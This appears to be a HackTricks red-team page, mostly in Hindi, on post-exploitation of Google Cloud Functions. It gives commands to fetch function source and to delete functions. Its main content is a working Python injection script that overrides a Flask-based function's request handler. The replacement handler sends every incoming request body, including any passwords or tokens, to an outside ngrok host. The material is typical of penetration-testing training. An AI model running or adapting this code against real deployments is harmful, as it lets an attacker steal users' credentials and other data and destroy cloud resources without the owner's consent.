GCP - Cloud Functions Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cloud Functions

Cloud Functions के बारे में कुछ जानकारी पाएं:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

इस अनुमति के साथ आप Cloud Function के source code को डाउनलोड करने के लिए एक signed URL प्राप्त कर सकते हैं:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

cloudfunctions.functions.delete

cloudfunctions.functions.delete अनुमति किसी पहचान को पूरी तरह से एक Cloud Function को हटाने की अनुमति देती है, जिसमें उसका code, configuration, triggers, और service accounts के साथ उसका association शामिल है।

gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet

बकेट के माध्यम से Code Exfiltration

The storage.objects.get and storage.objects.list permissions बकेट के अंदर objects को list और read करने की अनुमति देते हैं, और Cloud Functions के मामले में यह विशेष रूप से relevant है क्योंकि हर function अपना source code एक automatically managed Google bucket में स्टोर करता है, जिसका नाम इस फॉर्मैट का पालन करता है gcf-sources-<PROJECT_NUMBER>-<REGION>

Cloud Function अनुरोध चुराना

यदि Cloud Function उपयोगकर्ताओं द्वारा भेजी जा रही संवेदनशील जानकारी (उदा. passwords या tokens) को manage कर रहा/रही है, तो पर्याप्त privileges होने पर आप function के source code को modify the source code of the function and exfiltrate करके इस जानकारी को प्राप्त कर सकते हैं।

इसके अलावा, python में चलने वाली Cloud Functions web server को expose करने के लिए flask का उपयोग करती हैं; यदि आप किसी तरह flaks process के अंदर code injection vulnerability (उदा. a SSTI vulnerability) पा लेते हैं, तो यह संभव है कि आप override the function handler कर दें जो HTTP requests को एक malicious function के लिए रिसीव करेगा, जो legit handler को पास करने से पहले request को exfiltrate the request कर सकता है।

For example this code implements the attack:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें